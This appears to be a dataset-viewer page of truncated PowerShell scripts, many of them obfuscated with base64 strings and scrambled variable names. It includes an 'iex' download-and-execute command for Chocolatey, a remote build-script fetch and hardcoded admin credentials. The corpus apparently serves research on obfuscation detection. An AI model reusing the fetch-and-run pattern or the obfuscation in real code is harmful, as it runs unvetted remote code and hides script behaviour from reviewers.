. .\config-shrine.ps1
function _00111111110110010 {
echo $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dQBuAGkAbgBzAHQAYQBsAGwAaQBuAGcAIABUAG8AbQBjAGEAdAA4ACAAcwBlAHIAdgBpAGMAZQAuAC4ALgA=')))
& $ExecutionContext.InvokeComman... |
PowerShellCorpus/IseSteroids/Github/PCFDev_i2b2-Windows-Installer/install-prereqs.ps1 | install-prereqs.ps1 | require $JBOSS_ADDRESS "JBOSS_ADDRESS must be set"
require $JBOSS_PORT "JBOSS_PORT must be set"
require $JBOSS_ADMIN "JBOSS_ADMIN must be set"
require $JBOSS_PASS "JBOSS_PASS must be set"
function installChocolatey{
if ((gcm choco) -eq $null){
echo "Installing Chocolatey"
iex ((new-object net.webclient).Dow... |
PowerShellCorpus/IseSteroids/Github/PCFDev_i2b2-Windows-Installer/sql-prep_TEST.ps1 | sql-prep_TEST.ps1 | Add-Type -Path 'C:\Program Files\Microsoft SQL Server\110\SDK\Assemblies\Microsoft.SqlServer.Smo.dll'
sqlps -Command {
$smo = 'Microsoft.SqlServer.Management.Smo.'
$wmi = New-Object ($smo + 'Wmi.ManagedComputer')
$Wmi
$uri = "ManagedComputer[@Name='" + (gi Env:\COMPUTERNAME).Value + "']/ServerInstance[@Name=... |
PowerShellCorpus/IseSteroids/Github/PCFDev_i2b2-Windows-Installer/install-data.ps1 | install-data.ps1 | function f6{
cd Crcdata
createDatabase $CRC_DB_NAME
createUser $CRC_DB_NAME $CRC_DB_USER $CRC_DB_PASS $DEFAULT_DB_SCHEMA
${1} = (gi -Path ".\" -Verbose).FullName + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XABkAGEAdABhAF8AYgB1AGkAbABkAC4AeABtAGwA')))
interpolate_... |
PowerShellCorpus/IseSteroids/Github/PCFDev_i2b2-Windows-Installer/config-i2b2.ps1 | config-i2b2.ps1 |
${79} = "0.0.0.0"
${71} = "9090"
${78} = "jbossAdmin"
${77} = "jbossP@ss"
${76} = $false
${75}="i2b2demo"
${74}="Local Demo"
${73}="demo"
${72} = "localhost"
${66}="http://" + ${72} + ":" + ${71} + "/i2b2/services"
${70}="${66}/PMService"
${69}="${66}/QueryToolService"
${68}="${66}/FRService"
${67}="${... |
PowerShellCorpus/IseSteroids/Github/lemusjimmy_functions_powershell/range.ps1 | range.ps1 | function _/=\/\___/=\/\___/(){
param()
}
_/=\/\___/=\/\___/
|
PowerShellCorpus/IseSteroids/Github/lemusjimmy_functions_powershell/get_info_processor.ps1 | get_info_processor.ps1 | _MachineConfig\Utilities.ps1
1el42_PSSharpSvn\lib\LoadSharpSvnAssembly.ps1
_MachineConfig\Utilities.ps1
|
PowerShellCorpus/IseSteroids/Github/lemusjimmy_functions_powershell/hand_objects.ps1 | hand_objects.ps1 | function get_red{
[cmdletbinding()]
Param(
[parameter(ValueFromPipeLine=$True,ValueFromPipeLineByPropertyName=$True)]
[Alias("CN","__Server","IPAddress","Server")]
[string[]]$Computername = $Env:Computername
)
begin{
clear
}
process{
foreach($i in $Computername){
... |
PowerShellCorpus/IseSteroids/Github/alexandrev_battery-warrior/PowerWarriorPS.ps1 | PowerWarriorPS.ps1 | Param(
$computer = "localhost",
$logPath = "C:\Windows\Temp",
$sleepTime = 60,
$appData = "D:\Projects\GitHub\battery-warrior\apps.data"
)
ipmo PSLogging
Start-Log -LogPath $logPath -LogName $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YgBhAHQAdABlAHIAeQAtAHcAYQByAHIAaQBvAHIA... |
PowerShellCorpus/IseSteroids/Github/dinkoslav_SoftUni-Database-Applications/Exams/DatabaseApplicationsExam/DatabaseApplicationsExam/packages/Newtonsoft.Json.7.0.1/tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
# open json.net splash page on package install
# don't open if json.net is installed as a dependency
try
{
$url = "http://www.newtonsoft.com/json/install?version=" + $package.Version
$dte2 = Get-Interface $dte ([EnvDTE80.DTE2])
if ($dte2.ActiveWindo... |
PowerShellCorpus/IseSteroids/Github/loutyl_Porte-folio/Porte folio/packages/Newtonsoft.Json.6.0.7/tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
try
{
$url = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwBqAGEAbQBlAHMALgBuAGUAdwB0AG8AbgBrAGkAbgBnAC4AYwBvAG0ALwBqAHMAbwBuAA==')))
$dte2 = Get-Interface $dte ([EnvDTE80.DTE2])
if ($dte2.ActiveWindow.Caption -eq $([Te... |
PowerShellCorpus/IseSteroids/Github/rosswickman_AWS-KMS-KeyStatus/GetKeys.ps1 | GetKeys.ps1 | . $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgBcAEEAcwBzAHUAbQBlAC4AcABzADEA')))
$fileRegions = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgBcAFIAZQBnAGkAbwBuAHMALgBqAHMAbwBuAA==')))
$fileAccountKeys = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('Lg... |
PowerShellCorpus/IseSteroids/Github/AlexzundeR_PowerShellGists/diskFoldersSize.ps1 | diskFoldersSize.ps1 | . 'D:\Job\powershell\get-FolderSize.ps1'
ls 'C:\Program Files (x86)' -Force | ? {$_.GetType() -eq [System.IO.DirectoryInfo]} | % {$_.FullName} | Get-FolderSize -Unit 'GB' | ? {$_.FolderSize -gt 1} |
PowerShellCorpus/IseSteroids/Github/e3v_KeepThis/Research/dws-dump.ps1 | dws-dump.ps1 |
DigTrackFullRemove();
// DELETE KEYLOGGER
_OutPut("Delete keylogger...");
RunCmd(
"/c reg add \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\Windows Search\" /v \"AllowCortana\" /t REG_DWORD /d 0 /f ");
... |
PowerShellCorpus/IseSteroids/Github/e3v_KeepThis/Research/Reboot2Mac.ps1 | Reboot2Mac.ps1 | c:\progra~1\Bootca~1\bootcamp.exe -StartupDisk
shutdown /r /t 15 |
PowerShellCorpus/IseSteroids/Github/e3v_KeepThis/Scripts/Control-Panel/DateTime.ps1 | DateTime.ps1 |
Import-Module C:\KeepThis\Scripts\Functions\RegistryAIO.psm1
${01010000111110100} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SABLAEwATQA6AFwAUwB5AHMAdABlAG0AXABDAG8AbgB0AHIAbwBsAFMAZQB0ADAAMAAxAFwAUwBlAHIAdgBpAGMAZQBzAFwAVwAzADIAVABpAG0AZQBcAEMAbwBuAGYAaQBnAA==')))
${10011000100... |
PowerShellCorpus/IseSteroids/Github/yummybinary_webcuss/WebCuss/packages/Modernizr.2.6.2/Tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
if ($scriptsFolderProjectItem -eq $null) {
Write-Host "No Scripts folder found"
exit
}
AddOrUpdate-Reference $scriptsFolderProjectItem $modernizrFileNameRegEx $modernizrFileName |
PowerShellCorpus/IseSteroids/Github/yummybinary_webcuss/WebCuss/packages/Modernizr.2.6.2/Tools/common.ps1 | common.ps1 | function AddOrUpdate-Reference($scriptsFolderProjectItem, $fileNamePattern, $newFileName) {
try {
$referencesFileProjectItem = $scriptsFolderProjectItem.ProjectItems.Item($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XwByAGUAZgBlAHIAZQBuAGMAZQBzAC4AagBzAA=='))))
}
catch {
... |
PowerShellCorpus/IseSteroids/Github/yummybinary_webcuss/WebCuss/packages/Microsoft.ApplicationInsights.WindowsServer.2.1.0/Tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
if ([System.IO.File]::Exists($project.FullName))
{
function MarkItemASCopyToOutput($item)
{
Try
{
$item.Properties.Item("CopyToOutputDirectory").Value = 2
}
Catch
{
write-host $_.Exception.ToString()
}
}
MarkItemASCopyTo... |
PowerShellCorpus/IseSteroids/Github/Ninja-Tw1sT_PoSh-xChrome/Example/Sample_xChrome.ps1 | Sample_xChrome.ps1 | #Installs the latest version of Chrome in the language specified in the parameter Language.
Configuration Sample_InstallChromeBrowser
{
param
(
[Parameter(Mandatory)]
$Language,
[Parameter(Mandatory)]
$LocalPath
)
Import-DscResource -module xChrome
MSFT_xChrome chrome
... |
PowerShellCorpus/IseSteroids/Github/nutthaphon_powershell5/common/serverstat.ps1 | serverstat.ps1 | Get-CimInstance -ClassName win32_operatingsystem | select csname, lastbootuptime
Get-WmiObject Win32_logicaldisk -ComputerName LocalHost `
| Format-Table DeviceID, MediaType, `
@{Name="Size(GB)";Expression={[decimal]("{0:N0}" -f($_.size/1gb))}}, `
@{Name="Free Space(GB)";Expression={[decimal]("{0:N0}" -f($_.freespa... |
PowerShellCorpus/IseSteroids/Github/geoyogesh_geoprocessingservice/GeoprocessingService/packages/Nancy.Viewengines.Razor.0.12.1/Tools/GetNancyRazorBuildProviderPostBuildCmd.ps1 | GetNancyRazorBuildProviderPostBuildCmd.ps1 | $solutionDir = [System.IO.Path]::GetDirectoryName($dte.Solution.FullName) + "\"
$path = $installPath.Replace($solutionDir, $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAAoAFMAbwBsAHUAdABpAG8AbgBEAGkAcgApAA=='))))
$BuildProvidersDir = Join-Path $path $([Text.Encoding]::Unicode.GetString([Convert]... |
PowerShellCorpus/IseSteroids/Github/evgenipetrov_powershell-lab-maker/Module/LabMaker/New-LabComputer.ps1 | New-LabComputer.ps1 | function New-LabComputer
{
param
(
[String]
[Parameter(Mandatory)]
$GroupName,
[String]
$InternalNetworkName,
[String]
$ExternalNetworkName,
[String]
$LabComputerName,
[String]
$LabDomainName,
[String]
$LabComputerInternalAddress,
[String]
... |
PowerShellCorpus/IseSteroids/Github/projetohelenos_helenos.api/Helenos/packages/Modernizr.2.6.2/Tools/uninstall.ps1 | uninstall.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
# Update the _references.js file
Remove-Reference $scriptsFolderProjectItem $modernizrFileNameRegEx |
PowerShellCorpus/IseSteroids/Github/projetohelenos_helenos.api/Helenos/packages/jQuery.UI.Combined.1.8.24/Tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
if ($scriptsFolderProjectItem -eq $null) {
# No Scripts folder
Write-Host $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvACAAUwBjAHIAaQBwAHQAcwAgAGYAbwBsAGQAZQByACAAZgBvAHUAbgBkAA==')))
ex... |
PowerShellCorpus/IseSteroids/Github/projetohelenos_helenos.api/Helenos/packages/jQuery.1.8.2/Tools/uninstall.ps1 | uninstall.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
# Determine the file paths
${1} = Join-Path $projectScriptsFolderPath $intelliSenseFileName
${4} = Join-Path $toolsPath $intelliSenseFileName
if (Test-Path ${1}) {
if ((Get-Checksum ${1}) -eq (Get-Checksum ${4})) {
... |
PowerShellCorpus/IseSteroids/Github/projetohelenos_helenos.api/Helenos/packages/jQuery.1.8.2/Tools/common.ps1 | common.ps1 | function Get-Checksum($file) {
$cryptoProvider = New-Object "System.Security.Cryptography.MD5CryptoServiceProvider"
$fileInfo = Get-Item $file
trap { ;
continue } $stream = $fileInfo.OpenRead()
if ($? -eq $false) {
# Couldn't open file for reading
return $null
}
$bytes = $... |
PowerShellCorpus/IseSteroids/Github/kalui-msft_Kev6/.openpublishing.build.ps1 | .openpublishing.build.ps1 | param(
[string]$buildCorePowershellUrl = "https://opbuildstoragesandbox2.blob.core.windows.net/opps1container/.openpublishing.buildcore.ps1",
[string]$parameters
)
$errorActionPreference = 'Stop'
echo $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64Strin... |
PowerShellCorpus/IseSteroids/Github/hanna15_Project5/N_Vefforittun_20151_Project5_Solution/packages/jQuery.1.10.2/Tools/uninstall.ps1 | uninstall.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
# Determine the file paths
${_/=\_____/\___/\_} = Join-Path $projectScriptsFolderPath $intelliSenseFileName
${_/\_/\_/\_/\/=\__} = Join-Path $toolsPath $intelliSenseFileName
if (Test-Path ${_/=\_____/\___/\_}) {
if (... |
PowerShellCorpus/IseSteroids/Github/hanna15_Project5/N_Vefforittun_20151_Project5_Solution/packages/Modernizr.2.6.2/Tools/common.ps1 | common.ps1 | function AddOrUpdate-Reference($scriptsFolderProjectItem, $fileNamePattern, $newFileName) {
try {
${8} = $scriptsFolderProjectItem.ProjectItems.Item("_references.js")
}
catch {
# _references.js file not found
return
}
if (${8} -eq $null) {
# _references.js ... |
PowerShellCorpus/IseSteroids/Github/willyd_PsUtils/install.ps1 | install.ps1 | function _/======\/=\/\_/== {
${__/==\/===\__/===} = @($env:PSModulePath -split ';')
${_/==\/=\/==\_/=\_} = Join-Path -Path ([Environment]::GetFolderPath('MyDocuments')) -ChildPath WindowsPowerShell\Modules
${___/\/\/\___/\_/\} = ${__/==\/===\__/===} | ? { $_ -eq ${_/==\/=\/==\_/=\_} }
if (-not ${__... |
PowerShellCorpus/IseSteroids/Github/willyd_PsUtils/lib/Invoke-BatchFile.ps1 | Invoke-BatchFile.ps1 | <#
.SYNOPSIS
Invokes the specified batch file and retains any environment variable changes
it makes.
.DESCRIPTION
Invoke the specified batch file (and parameters), but also propagate any
environment variable changes back to the PowerShell environment that
called it.
.PARAMETER Path
Path t... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.